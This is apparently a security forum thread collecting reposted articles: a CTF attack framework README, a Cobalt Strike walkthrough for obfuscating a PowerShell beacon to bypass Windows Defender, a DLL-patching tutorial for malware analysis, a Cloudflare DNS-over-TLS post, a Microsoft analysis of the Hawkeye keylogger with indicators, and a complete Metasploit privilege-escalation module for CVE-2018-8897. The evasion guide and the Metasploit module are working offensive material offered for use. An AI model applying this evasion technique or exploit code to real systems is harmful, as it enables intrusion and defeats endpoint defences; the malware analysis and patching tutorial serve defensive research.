Nytro

Vezi asta: https://stackoverflow.com/questions/13102045/scanner-is-skipping-nextline-after-using-next-or-nextfoo

CTFPWNng Next-gen automation framework for attack-defense CTFs. Dependencies Redis (redis-server and redis-cli) Nmap GNU parallel Usage ./ctfpwn.sh Target Identification The targets directory includes a wrapper script (run-targets.sh) that runs Nmap scans on the target range in order to identify alive hosts. This script should run regularly as a cronjob (TBD). Before ctfpwn.sh can be started, the script should run at least once to create a initial output file: cd targets ./run-targets.sh Add Exploits Adding a new exploit is as easy as copying the exploits/_template directory. The following example creates an exploit for a service called wood cd ctfpwnng cp -r exploits/_template exploits/wood An exploit directory requires at least two files (already included in the exploits/_template directory): service: A service definition file. This file must contain the _SERVICE_NAME and _SERVICE_PORT variables. run.sh: The exploit wrapper script that either includes or starts the actual exploit code. It is also responsible for calling the log_flags() function that will add flags to the Redis database. Disable Exploits Exploits can be disabled by either creating a .disabled file: touch exploits/wood/.disabled Or by preceeding the exploit directory name with an underscore: mv exploits/wood exploits/_wood Sursa: https://github.com/takeshixx/ctfpwnng

Cobalt Strike – Bypassing Windows Defender with Obfuscation Guest post by team member @taso_x For all red teamers delivering payloads while not kicking off all the bells and whistles of the organization is always a challenge. Just like all other security solutions Windows Defender has become better at detecting generic payloads generated with tools such as Cobalt Strike. In this example we will go through the generation of a PowerShell payload with Cobalt Strike and see how we can manipulate it in a way that it will execute bypassing Windows Defender on a Windows 10 PC. This is not the most elegant or easier solution to hide your payloads from Windows Defender but it is one of the methods we use and it works. The process for creating the payload is as follows: This will result to payload.txt being created which includes a PowerShell command. If we try to run the command on the victim PC we are greeted by Windows Defender which picks it up as a threat. In order to bypass Windows Defender we need to first understand how Cobalt Strike creates its payloads and then change some of its signatures hoping that Windows Defender will consider it safe. First of all it is obvious that the payload command it base64 encoded by either looking at the format or by the -encodedcommand PowerShell flag. To decode the command we need to cut out the powershell.exe -nop -w hidden -encodedcommand part and keep the rest. Then decode the rest of the string with the following command. echo 'base64 payload' | base64 -d The resultant decoded string includes a base64 encoded string again but trying to decode that will not work and spit out gibberish because the string is also Gzip compressed apparent from the IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s[IO.Compression.CompressionMode]::Decompress))).ReadToEnd() part of the PowerShell command. Now we need to understand what is inside this command as this is the part which is actually triggering Windows Defender i.e the payload. Through some Google searching I found this PowerShell script that does exactly that http://chernodv.blogspot.com.cy/2014/12/powershell-compression-decompression.html $data = [System.Convert]::FromBase64String('gzip base64') $ms = New-Object System.IO.MemoryStream $ms.Write($data, 0, $data.Length) $ms.Seek(0,0) | Out-Null $sr = New-Object System.IO.StreamReader(New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Decompress)) $sr.ReadToEnd() | set-clipboard The script will first base64 decode the string and the decompress it providing us with the entire code. It will also copy the contents of the output to the clipboard to paste it in a text file which is going to be used later on. The $var_code variable holds the payload which is being detected by Windows Defender and we will need to swap out to bypass the defender. Decoding $var_code further it is a series of ASCII characters but decoding it fully is not required at this point. $enc=[System.Convert]::FromBase64String('encoded string') We can read part of the contents with: $readString=[System.Text.Encoding]::ASCII.GetString($enc) The above now shows some information about the user agent and our attackers IP. The target now is to take the current payload and obfuscate it in a way that it will trick Windows Defender. The best tool and the tool of choice for this type of job is Invoke-Obfuscation by Daniel Bohannon. The Github page for the project can be found here. The commands for starting with Invoke-Obfuscation are: Import-Module .\Invoke-Obfuscation.psd1 Invoke-Obfuscation Now we need to define the payload part that we need to obfuscate. This can be done with the following command Set scriptblock 'final_base64payload' The tool will take our script block and then ask us for the way that we want to proceed. In this case i chose COMPRESS and then 1. This doesn’t mean that the other options will not work but i found this one to be working at the time of writing. Invoke-Obfuscation will do it’s magic and print out a PowerShell command which is mangled enough that it could potentially bypass Windows Defender. Then just type Out and the path that you want to save this as a PowerShell script. Out c:\payload.ps1 The current decompressed payload from previous steps looks like this. So it all boils down to the fact that we need to replace the [Byte[]]$var_code = [System.Convert]::FromBase64String contents with our newly created payload from Invoke-Obfuscation. To do that i define a new variable which i call $evil and just put the contents of the output from Invoke-Obfuscation. Important – You need to strip out the part after the last | from the output of Invoke-Obfuscation because that it’s the command that executes the command. We will not need that because the Cobalt Strike template will do that for us. Save the edited script into a PowerShell file and execute it. The result should be a beacon in Cobalt Strike and a Slack notification if your are using @sec_groundzero Aggressor Script If we examine both the vanilla CS payload and the modified CS payload with Process Hacker we see that we don’t change the underlying behaviour of the beacon. Sursa: http://www.offensiveops.io/tools/cobalt-strike-bypassing-windows-defender-with-obfuscation/

How to turn a DLL into a standalone EXE Posted on July 21, 2016 by hasherezade During malware analysis we can often encounter payloads in form of DLLs. Analyzing them dynamically may not be very handy, because they need some external loaders to run. Different researchers have different tricks to deal with them. In this post I will describe some of my tricks for patching DLLs, so that they can run as independent executables. Usually we can encounter 2 cases: meaningful code starts in one of the exported functions meaningful code starts in DllMain To illustrate those cases with real-life examples I will use 2 malware samples. First case – represented by Bunitu Trojan (b0a91e1f91078bad48252edc989e868e) and second case: represented by Petya/Mischa dropper (c8e4829dcba8b288bd0ed75717214db6). Those DLLs have been unpacked from their loaders/crypters – but in order to keep things simple I am not gonna describe here the full process of unpacking. In both cases we will start from editing the field Characteristics in the File Header and removing the flag indicating that the file is a DLL. I will do it using PE-bear: I changed the value: Case #1: When the meaningful code starts in the exported function In this case, one more modification is required before we save the file. We have to change the entry point in order to point the appropriate function from export table – the one where the execution of the meaningful code starts. We need to find the Function RVA: Then, follow it: On the Disasm tab we can see the code of this function. Now, we should redirect Entry Point to it’s beginning: And save the file as EXE: In case of Bunitu Trojan, this function does not take any parameters, so we not need to fill anything more. Now, we can run the saved file like a normal executable (see the patched version at malwr). Case #2 – meaningful code starts in DllMain This time we not need to change the Entry Point – just after changing Characteristics in File Header save the file and load it under a debugger (I will use OllyDbg). Similarly to the main function in typical executables, DLLs have their DllMain function that is executed automatically when they are loaded to the memory (the same function is also executed on few more events – i.e. on DLL unloading). Let’s recall it’s header: BOOL WINAPI DllMain( _In_ HINSTANCE hinstDLL, _In_ DWORD fdwReason, _In_ LPVOID lpvReserved ); As we can see, the function takes 3 arguments. The first one (hinstDLL) is the handle to the memory area where the DLL has been loaded. Second stores a value that indicates the reason why the DllMain has been triggered. Read more here. To make our patched DLL run properly, we must take care that it’s arguments will be filled with proper values – especially important are the first two that I mentioned. The first argument: hinstDLL – must contain the module handle (ImageBase). Second usually should be filled with 1 – to emulate DLL_PROCESS_ATTACH. That’s how the Entry Point of the dumped executable looks: Let’s add a code that will overwrite the arguments with valid values. I will utilize some free cave for this purpose. Fortunately, there is enough space at the end of the code section: I am gonna do some patching in order to redirect execution to this place. We need 5 bytes for the jump – so, let’s remove/rearrange some code in order to gain the space (if we are lacking in space, some instructions can be also moved to the cave, along with the added code): Patched – step 1: Patched – step 2: I redirected execution to the mentioned cave. We will copy aside the address that is just after the added jump, to go back to this place later. Now let’s fill the cave with needed code. To fill the first argument with the valid ImageBase I will copy the value from Process Environment Block (pointed by FS:[30]) . This is example of the code that do this job: MOV EAX, [FS:0X30] ; copy to EAX handle to PEB MOV EAX, [EAX+0X8] ; copy to EAX the field with ImageBase MOV [EBP+0X8], EAX ; copy the content of EAX into the first argument Now, let’s fill the second argument with a vale 1, emulating that the DLL is loaded: MOV DWORD [EBP+0XC], 0X1 The third argument can be filled with NULL: MOV DWORD [EBP+0X10], 0 Added code: Now only returning jump is remaining: And we can save the modified executable: Now we can run/debug the saved file as a standalone executable. Ending note Of course the described techniques are not a silver bullet and they may not cover all the cases you encounter. My goal was just to provide some examples and inspiration for experiments. However, those simple tricks worked for me in many cases making the work much easier. Appendix https://en.wikipedia.org/wiki/Win32_Thread_Information_Block https://en.wikipedia.org/wiki/Process_Environment_Block Sursa: https://hshrzd.wordpress.com/2016/07/21/how-to-turn-a-dll-into-a-standalone-exe/

DNS-Over-TLS Built-In & Enforced - 1.1.1.1 and the GL.iNet GL-AR750S 14 Jul 2018 by Junade Ali. inShare GL.iNet GL-AR750S in black, same form-factor as the prior white GL.iNet GL-AR750. Credit card for comparison. Back in April, I wrote about how it was possible to modify a router to encrypt DNS queries over TLS using Cloudflare's 1.1.1.1 DNS Resolver. For this, I used the GL.iNet GL-AR750 because it was pre-installed with OpenWRT (LEDE). The folks at GL.iNet read that blog post and decided to bake DNS-Over-TLS support into their new router using the 1.1.1.1 resolver, they sent me one to take a look at before it's available for pre-release. Their new router can also be configured to force DNS traffic to be encrypted before leaving your local network, which is particularly useful for any IoT or mobile device with hard-coded DNS settings that would ordinarily ignore your routers DNS settings and send DNS queries in plain-text. In my previous blog post I discussed how DNS was often the weakest link in the chain when it came to browsing privacy; whilst HTTP traffic is increasingly encrypted, this is seldom the case for DNS traffic. This makes it relatively trivial for an intermediary to work out what site you're sending traffic to. In that post, I went through the technical steps required to modify a router using OpenWRT to support DNS Privacy using the DNS-Over-TLS protocol. GL.iNet were in contact since I wrote the original blog post and very supportive of encrypting DNS queries at the router level. Last week whilst working in Cloudflare's San Francisco office, they reached out to me over Twitter to let me know they were soon to launch a new product with a new web UI containing a "DNS over TLS from Cloudflare" feature and offered to send me the new router before it was even available for pre-order. On arrival back to our London office, I found a package from Hong Kong waiting for me. Aside from the difference in colour, the AR750S itself is identical in form-factor to the AR750 and was packaged up very similarly. They both have capacity for external storage, an OpenVPN client and can be powered over USB; amongst many other useful functionalities. Alongside the S suffixing the model number, I did notice the new model had some upgraded specs, but I won't dwell on that here. Below you can see the white AR750 and the new black AR750S router together for comparison. Both have a WAN ethernet port, 2 LAN ethernet ports, a USB port for external storage (plus a micro SD port) and a micro USB power port. The UI is where the real changes come. In the More Settings tab, there's an option to configure DNS with some nice options. One notable option is the DNS over TLS from Cloudflare toggle. This option uses the TLS security protocol for encrypting DNS queries, helping increase privacy and prevent eavesdropping. Another option, Override DNS Settings for All Clients, forcibly overrides the DNS configuration on all clients so that queries are encrypted to the WAN. Unencrypted DNS traffic is intercepted by the router, and by forcing traffic to use it's own local resolver, it is able to transparently rewrite traffic to be encrypted before leaving the router and heading out into the public internet to the upstream resolver - 1.1.1.1. This option is particularly useful when dealing with embedded systems or IoT devices which don't have configurable DNS options; Smart TVs, TV boxes, your toaster, etc. As this router can proxy traffic over to other Wi-Fi networks (and is portable), this is particularly useful when connecting out to an ordinarily insecure Wi-Fi network; the router can sit in the middle and transparently upgrade unencrypted DNS queries. This is even useful when dealing with phones and tablets where you can't install a DNS-Over-TLS client. These options both come disabled by default, but can easily be toggled in the UI. As before, you can configure other DNS resolvers by toggling "Manual DNS Server Settings" and entering in any other DNS servers. There are a number of other cool features I've noticed in this router; for example, the More Settings > Advanced option takes you into a standard LuCi UI that ordinarily comes bundled with LEDE routers. Like previous routers, you can easily SSH into the device and install various program and perform customisations. For example; after installing TCPDump on the router, I am able to run tcpdump -n -i wlan-sta 'port 853' to see encrypted DNS traffic leaving the router. When I run a DNS query over an unencrypted resolver (using dig A junade.com on my local computer), I can see the outgoing DNS traffic upgraded to encrypted queries on 1.1.1.1 and 1.0.0.1. If you're interested in learning how to configure 1.1.1.1 on other routers, your computer or your phone - check out the project landing page at https://1.1.1.1/. If you're a developer and want to learn about how you can integrate 1.1.1.1 into your project with either DNS-Over-TLS or DNS-Over-HTTPS, checkout the 1.1.1.1 Developer Documentation. Tagged with 1.1.1.1, DNS, Security, TLS, Privacy, Resolver, IoT Sursa: https://blog.cloudflare.com/dns-over-tls-built-in/

Hawkeye Keylogger – Reborn v8: An in-depth campaign analysis July 11, 2018 Office 365 Threat Research in Microsoft 365, Office 365 Advanced Threat Protection, Windows Defender Advanced Threat Protection, Endpoint Security, Threat Protection, Research Much of cybercrime today is fueled by underground markets where malware and cybercriminal services are available for purchase. These markets in the deep web commoditize malware operations. Even novice cybercriminals can buy malware toolkits and other services they might need for malware campaigns: encryption, hosting, antimalware evasion, spamming, and many others. Hawkeye Keylogger is an info-stealing malware that’s being sold as malware-as-a-service. Over the years, the malware authors behind Hawkeye have improved the malware service, adding new capabilities and techniques. It was last used in a high-volume campaign in 2016. This year marked the resurgence of Hawkeye. In April, malware authors started peddling a new version of the malware that they called Hawkeye Keylogger – Reborn v8. Not long after, on April 30, Office 365 Advanced Threat Protection (Office 365 ATP) detected a high-volume campaign that distributed the latest variants of this keylogger. At the onset, Office 365 ATP blocked the email campaign and protected customers, 52% of whom are in the software and tech sector. Companies in the banking (11%), energy (8%), chemical (5%), and automotive (5%) industries are also among the top targets Figure 1. Top industries targeted by the April 2018 Hawkeye campaign Office 365 ATP uses intelligent systems that inspect attachments and links for malicious content to protect customers against threats like Hawkeye in real time. These automated systems include a robust detonation platform, heuristics, and machine learning models. Office 365 ATP uses intelligence from various sensors, including multiple capabilities in Windows Defender Advanced Threat Protection (Windows Defender ATP). Windows Defender AV (a component of Windows Defender ATP) detected and blocked the malicious attachments used in the campaign in at least 40 countries. United Arab Emirates accounted for 19% of these file encounters, while the Netherlands (15%), the US (11%), South Africa (6%) and the UK (5%) make the rest of the top 5 countries that saw the lure documents used in the campaign. A combination of generic and heuristic protections in Windows Defender AV (TrojanDownloader:O97M/Donoff, Trojan:Win32/Tiggre!rfn, Trojan:Win32/Bluteal!rfn, VirTool:MSIL/NetInject.A) ensured these threats are blocked in customer environments. Figure 2. Top countries that encountered malicious documents used in the Hawkeye campaign As part of our job to protect customers from malware attacks, Office 365 ATP researchers monitor malware campaigns like Hawkeye and other developments in the cybercriminal landscape. Our in-depth investigation into malware campaigns like Hawkeye and many others adds to the vast threat intelligence we get from the Microsoft Intelligent Security Graph, which enables us to continuously raise the bar in security. Through the Intelligent Security Graph, security technologies in Microsoft 365 share signals and detections, allowing these technologies to automatically update protection and detection mechanisms, as well as orchestrate remediation across Microsoft 365. Figure 3. Microsoft 365 threat protection against Hawkeye Campaign overview Despite its name, Hawkeye Keylogger – Reborn v8 is more than a common keylogger. Over time, its authors have integrated various modules that provide advanced functionalities like stealth and detection evasion, as well as credential theft and more. Malware services like Hawkeye are advertised and sold in the deep web, which requires anonymity networks like Tor to access, etc. Interestingly, the Hawkeye authors advertised their malware and even published tutorial videos on a website on the surface web (that has since been taken down). Even more interesting, based on underground forums, it appears the malware authors have employed intermediary resellers, an example of how cybercriminal underground business models expand and evolve. Our investigation into the April 2018 Hawkeye campaign shows that the cybercriminals have been preparing for the operation since February, when they registered the domains they later used in the campaign. Typical of malware campaigns, the cybercriminals undertook the following steps: Built malware samples and malware configuration files using a malware builder they acquired from the underground Built weaponized documents to be used a social engineering lure (possibly by using another tool bought in the underground) Packed or obfuscated the samples (using a customized open-source packer) Registered domains for delivery of malware Launched a spam campaign (possibly using a paid spam service) to distribute the malware Like other malware toolkits, Hawkeye comes with an admin panel that cybercriminals use to monitor and control the attack. Figure 4: Hawkeye’s admin panel Interestingly, some of the methods used in this Hawkeye campaign are consistent with previous attacks. This suggests that the cybercriminals behind this campaign may be the same group responsible for malware operations that delivered the remote access tool (RAT) Remcos and the info-stealing bot malware Loki. The following methods were used in these campaigns: Multiple documents that create a complicated, multi-stage delivery chain Redirections using shortened bit.ly links Use of malicious macro, VBScript, and PowerShell scripts to run the malware; the Remcos campaign employed an exploit for CVE-2017-0199 but used the same domains Consistent obfuscation technique across multiple samples Point of entry In late April, Office 365 ATP analysts spotted a new spam campaign with the subject line RFQ-GHFD456 ADCO 5647 deadline 7th May carrying a Word document attachment named Scan Copy 001.doc. While the attachment’s file name extension was .doc, it was in fact a malicious Office Open XML format document, which usually uses a .docx file name extension. In total, the campaign used four different subject lines and five attachments. Figure 5: Sample emails used in the Hawkeye campaign Because the attachment contains malicious code, Microsoft Word opens with a security warning. The document uses a common social engineering lure: it displays a fake message and an instruction to “Enable editing” and “Enable content”. Figure 6: The malicious document with social engineering lure The document contains an embedded frame that connects to a remote location using a shortened URL. Figure 7: frame in settings.rels.xml on the document The frame loads an .rtf file from hxxp://bit[.]ly/Loadingwaitplez, which redirects to hxxp://stevemike-fireforce[.]info/work/doc/10.doc. Figure 8: RTF loaded as a frame inside malicious document The RTF has an embedded malicious .xlsx file with macro as an OLE object, which in turn contains a stream named PACKAGE that contains the .xlsx contents. The macro script is mostly obfuscated, but the URL to the malware payload is notably in plaintext. Figure 9: Obfuscated macro entry point De-obfuscating the entire script makes its intention clear. The first section uses PowerShell and the System.Net.WebClient object to download the malware to the path C:\Users\Public\svchost32.exe and execute it. The macro script then terminates both winword.exe and excel.exe. In specific scenarios where Microsoft Word overrides default settings and is running with administrator privileges, the macro can delete Windows Defender AV’s malware definitions. It then changes the registry to disable Microsoft Office’s security warnings and safety features. In summary, the campaign’s delivery comprises of multiple layers of components that aim to evade detection and possibly complicate analysis by researchers. Figure 10: The campaign’s delivery stages The downloaded payload, svchost32.exe, is a .NET assembly named Millionare that is obfuscated using a custom version of ConfuserEx, a well-known open-source .NET obfuscator. Figure 11: Obfuscated .NET assembly Millionare showing some of the scrambled names The obfuscation modifies the .NET assembly’s metadata such that all the class and variable names are non-meaningful and scrambled names in Unicode. This obfuscation causes some analysis tools like .NET Reflector to show some namespaces or classes names as blank, or in some cases, display parts of the code backwards. Figure 12: .NET Reflector presenting the code backwards due to obfuscation Finally, the .NET binary loads an unpacked .NET assembly, which includes DLL files embedded as resources in the portable executable (PE). Figure 13: Loading the unpacked .NET assembly during run-time Malware loader The DLL that initiates the malicious behavior is embedded as a resource in the unpacked .NET assembly. It is loaded in memory using process hollowing, a code injection technique that involves spawning a new instance of a legitimate process and then “hollowing it out”, i.e., replacing the legitimate code with malware. Figure 14: In-memory unpacking of the malware using process hollowing. Unlike previous Hawkeye variants (v7), which loaded the main payload into its own process, the new Hawkeye malware injects its code into MSBuild.exe, RegAsm.exe, and VBC.exe, which are signed executables that ship with .NET framework. This is an attempt to masquerade as a legitimate process. Figure 15: Obfuscated calls using .NET reflection to perform process hollowing injection routine that injects the malware’s main payload into RegAsm.exe Additionally, in the previous version, the process hollowing routine was written in C. In the new version, this routine is completely rewritten as a managed .NET that calls the native Windows API. Figure 16: Process hollowing routine implemented in .NET using native API function calls Malware functionalities The new Hawkeye variants created by the latest version of the malware toolkit have multiple sophisticated functions for information theft and evading detection and analysis. Information theft The main keylogger functionality is implemented using hooks that monitor key presses, as well as mouse clicks and window context, along with clipboard hooks and screenshot capability. It has specific modules for extracting and stealing credentials from the following applications: Beyluxe Messenger Core FTP FileZilla Minecraft (replaced the RuneScape module in previous version) Like many other malware campaigns, it uses the legitimate BrowserPassView and MailPassView tools to dump credentials from the browser and email client. It also has modules for taking screenshots of the desktop, as well as the webcam, if it exists. Notably, the malware has a mechanism to visit certain URLs for click-based monetization. Stealth and anti-analysis On top of the processes hollowing technique, this malware uses other methods for stealth, including alternate data streams that remove mark of the web (MOTW) from the malware’s downloaded files. This malware can be configured to delay execution by any number of seconds, a technique used mainly to avoid detection by various sandboxes. It prevents antivirus software from running using an interesting technique. It adds keys to the registry location HKLM\Software\Windows NT\Current Version\Image File Execution Options and sets the Debugger value for certain processes to rundll32.exe, which prevents execution. It targets the following processes related to antivirus and other security software: AvastSvc.exe AvastUI.exe avcenter.exe avconfig.exe avgcsrvx.exe avgidsagent.exe avgnt.exe avgrsx.exe avguard.exe avgui.exe avgwdsvc.exe avp.exe avscan.exe bdagent.exe ccuac.exe ComboFix.exe egui.exe hijackthis.exe instup.exe keyscrambler.exe mbam.exe mbamgui.exe mbampt.exe mbamscheduler.exe mbamservice.exe MpCmdRun.exe MSASCui.exe MsMpEng.exe msseces.exe rstrui.exe spybotsd.exe wireshark.exe zlclient.exe Further, it blocks access to certain domains that are usually associated with antivirus or security updates. It does this by modifying the HOSTS file. The list of domains to be blocked is determined by the attacker using a config file. This malware protects its own processes. It blocks the command prompt, registry editor, and task manager. It does this by modifying registry keys for local group policy administrative templates. It also constantly checks active windows and renders action buttons unusable if the window title matches “ProcessHacker”, “Process Explorer”, or “Taskmgr”. Meanwhile, it prevents other malware from infecting the machine. It repeatedly scans and removes any new values to certain registry keys, stops associated processes, and deletes related files. Hawkeye attempts to avoid automated analysis. The delay in execution is designed to defeat automated sandbox analysis that allots only a certain time for malware execution and analysis. It likewise attempts to evade manual analysis by monitoring windows and exiting when it finds the following analysis tools: Sandboxie Winsock Packet Editor Pro Wireshark Defending mailboxes, endpoints, and networks against persistent malware campaigns Hawkeye illustrates the continuous evolution of malware in a threat landscape fueled by the cybercriminal underground. Malware services make malware accessible to even unsophisticated operators, while simultaneously making malware more durable with advanced techniques like in-memory unpacking and abuse of .NET’s CLR engine for stealth. In this blog we covered the capabilities of its latest version, Hawkeye Keylogger – Reborn v8, highlighting some of the enhancements from the previous version. Given its history, Hawkeye is likely to release a new version in the future. Organizations should continue educating their employees about spotting and preventing social engineering attacks. After all, Hawkeye’s complicated infection chain begins with a social engineering email and lure document. A security-aware workforce will go a long way in securing networks against attacks. More importantly, securing mailboxes, endpoints, and networks using advanced threat protection technologies can prevent attacks like Hawkeye, other malware operations, and sophisticated cyberattacks. Our in-depth analysis of the latest version and our insight into the cybercriminal operation that drives this development allow us to proactively build robust protections against both known and unknown threats. Office 365 Advanced Threat Protection (Office 365 ATP) protects mailboxes as well as files, online storage, and applications from malware campaigns like Hawkeye. It uses a robust detonation platform, heuristics, and machine learning to inspect attachments and links for malicious content in real-time, ensuring that emails that carry Hawkeye and other threats don’t reach mailboxes and devices. Learn how to add Office 365 ATP to existing Exchange or Office 365 plans. Windows Defender Antivirus (Windows Defender AV) provides an additional layer of protection by detecting malware delivered through email, as well as other infection vectors. Using local and cloud-based machine learning, Windows Defender AV’s next-gen protection can block even new and unknown threats on Windows 10 and Windows 10 in S mode. Additionally, endpoint detection and response (EDR) capabilities in Windows Defender Advanced Threat Protection (Windows Defender ATP) expose sophisticated and evasive malicious behavior, such as those used by Hawkeye. Sign up for free Windows Defender ATP trial. Windows Defender ATP’s rich detection libraries are powered by machine learning and allows security operations teams to detect and respond to anomalous attacks in the network. For example, machine learning detection algorithms surface the following alert when Hawkeye uses a malicious PowerShell to download the payload: Figure 16: Windows Defender ATP alert for Hawkeye’s malicious PowerShell component Windows Defender ATP also has behavior-based machine learning algorithms that detect the payload itself: Figure 17: Windows Defender ATP alert for Hawkeye’s payload These security technologies are part of the advanced threat protection solutions in Microsoft 365. Enhanced signal sharing across services in Windows, Office 365, and Enterprise Mobility + Security through the Microsoft Intelligent Security Graph enables the automatic update of protections and orchestration of remediation across Microsoft 365. Office 365 ATP Research Indicators of Compromise (Ioc) Email subject lines {EXT} NEW ORDER ENQUIRY #65563879884210# B/L COPY FOR SHIPMENT Betreff: URGENT ENQ FOR Equipment RFQ-GHFD456 ADCO 5647 deadline 7th May Attachment file names Betreff URGENT ENQ FOR Equipment.doc BILL OF LADING.doc NEW ORDER ENQUIRY #65563879884210#.doc Scan Copy 001.doc Swift Copy.doc Domains lokipanelhostingpanel[.]gq stellarball[.]com stemtopx[.]com stevemike-fireforce[.]info Shortened redirector links hxxp://bit[.]ly/ASD8239ASdmkWi38AS (was also used in a Remcos campaign) hxxp://bit[.l]y/loadingpleaswaitrr hxxp://bit[.l]y/Loadingwaitplez Files (SHA-256) d97f1248061353b15d460eb1a4740d0d61d3f2fcb41aa86ca6b1d0ff6990210a – .eml 23475b23275e1722f545c4403e4aeddf528426fd242e1e5e17726adb67a494e6 – .eml 02070ca81e0415a8df4b468a6f96298460e8b1ab157a8560dcc120b984ba723b – .eml 79712cc97a19ae7e7e2a4b259e1a098a8dd4bb066d409631fb453b5203c1e9fe – .eml 452cc04c8fc7197d50b2333ecc6111b07827051be75eb4380d9f1811fa94cbc2 – .eml 95511672dce0bd95e882d7c851447f16a3488fd19c380c82a30927bac875672a – .eml 1b778e81ee303688c32117c6663494616cec4db13d0dee7694031d77f0487f39 – .eml 12e9b955d76fd0e769335da2487db2e273e9af55203af5421fc6220f3b1f695e – .eml 12f138e5e511f9c75e14b76e0ee1f3c748e842dfb200ac1bfa43d81058a25a28 – .eml 9dfbd57361c36d5e4bda9d442371fbaa6c32ae0e746ebaf59d4ec34d0c429221 – .docx (stage 1) f1b58fd2bc8695effcabe8df9389eaa8c1f51cf4ec38737e4fbc777874b6e752 – .rtf (stage 2) 5ad6cf87dd42622115f33b53523d0a659308abbbe3b48c7400cc51fd081bf4dd – .doc 7db8d0ff64709d864102c7d29a3803a1099851642374a473e492a3bc2f2a7bae – .rtf 01538c304e4ed77239fc4e31fb14c47604a768a7f9a2a0e7368693255b408420 – .rtf d7ea3b7497f00eec39f8950a7f7cf7c340cf9bf0f8c404e9e677e7bf31ffe7be – .vbs ccce59e6335c8cc6adf973406af1edb7dea5d8ded4a956984dff4ae587bcf0a8 – .exe (packed) c73c58933a027725d42a38e92ad9fd3c9bbb1f8a23b3f97a0dd91e49c38a2a43 – .exe (unpacked) *Updated 07/12/18 (Removed statement that Hawkeye Keylogger is also known as iSpy Keylogger Sursa: https://cloudblogs.microsoft.com/microsoftsecure/2018/07/11/hawkeye-keylogger-reborn-v8-an-in-depth-campaign-analysis/

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/post/common' require 'msf/core/post/file' require 'msf/core/post/windows/priv' require 'msf/core/post/windows/registry' require 'msf/core/exploit/exe' class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::Common include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Windows POP/MOV SS Local Privilege Elevation Vulnerability', 'Description' => %q{ This module exploits a vulnerability in a statement in the system programming guide of the Intel 64 and IA-32 architectures software developer's manual being mishandled in various operating system kerneles, resulting in unexpected behavior for #DB excpetions that are deferred by MOV SS or POP SS. This module will upload the pre-compiled exploit and use it to execute the final payload in order to gain remote code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'Nick Peterson', # Original discovery (@nickeverdox) 'Nemanja Mulasmajic', # Original discovery (@0xNemi) 'Can Bölük <can1357>', # PoC 'bwatters-r7' # msf module ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows x64', { 'Arch' => ARCH_X64 } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'May 08 2018', 'References' => [ ['CVE', '2018-8897'], ['EDB', '44697'], ['BID', '104071'], ['URL', 'https://github.com/can1357/CVE-2018-8897/'], ['URL', 'https://blog.can.ac/2018/05/11/arbitrary-code-execution-at-ring-0-using-cve-2018-8897/'] ], 'DefaultOptions' => { 'DisablePayloadHandler' => 'False' } )) register_options([ OptString.new('EXPLOIT_NAME', [false, 'The filename to use for the exploit binary (%RAND% by default).', nil]), OptString.new('PAYLOAD_NAME', [false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]), OptString.new('PATH', [false, 'Path to write binaries (%TEMP% by default).', nil]), OptInt.new('EXECUTE_DELAY', [false, 'The number of seconds to delay before executing the exploit', 3]) ]) end def setup super @exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) @payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) @exploit_name = "#{exploit_name}.exe" unless exploit_name.match(/\.exe$/i) @payload_name = "#{payload_name}.exe" unless payload_name.match(/\.exe$/i) @temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP') @payload_path = "#{temp_path}\\#{payload_name}" @exploit_path = "#{temp_path}\\#{exploit_name}" @payload_exe = generate_payload_exe end def validate_active_host begin host = session.session_host print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") rescue Rex::Post::Meterpreter::RequestError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") raise Msf::Exploit::Failed, 'Could not connect to session' end end def validate_remote_path(path) unless directory?(path) fail_with(Failure::Unreachable, "#{path} does not exist on the target") end end def validate_target if sysinfo['Architecture'] == ARCH_X86 fail_with(Failure::NoTarget, 'Exploit code is 64-bit only') end if sysinfo['OS'] =~ /XP/ fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP') end end def ensure_clean_destination(path) if file?(path) print_status("#{path} already exists on the target. Deleting...") begin file_rm(path) print_status("Deleted #{path}") rescue Rex::Post::Meterpreter::RequestError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") print_error("Unable to delete #{path}") end end end def ensure_clean_exploit_destination ensure_clean_destination(exploit_path) end def ensure_clean_payload_destination ensure_clean_destination(payload_path) end def upload_exploit local_exploit_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897-exe', 'cve-2018-8897-exe.exe') upload_file(exploit_path, local_exploit_path) print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}") end def upload_payload write_file(payload_path, payload_exe) print_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}") end def execute_exploit sleep(datastore['EXECUTE_DELAY']) print_status("Running exploit #{exploit_path} with payload #{payload_path}") output = cmd_exec('cmd.exe', "/c #{exploit_path} #{payload_path}") vprint_status(output) end def exploit begin validate_active_host validate_target validate_remote_path(temp_path) ensure_clean_exploit_destination ensure_clean_payload_destination upload_exploit upload_payload execute_exploit rescue Rex::Post::Meterpreter::RequestError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") print_error(e.message) ensure_clean_exploit_destination ensure_clean_payload_destination end end attr_reader :exploit_name attr_reader :payload_name attr_reader :payload_exe attr_reader :temp_path attr_reader :payload_path attr_reader :exploit_path end Sursa: https://www.exploit-db.com/exploits/45024/?rss&amp;utm_source=dlvr.it&amp;utm_medium=twitter

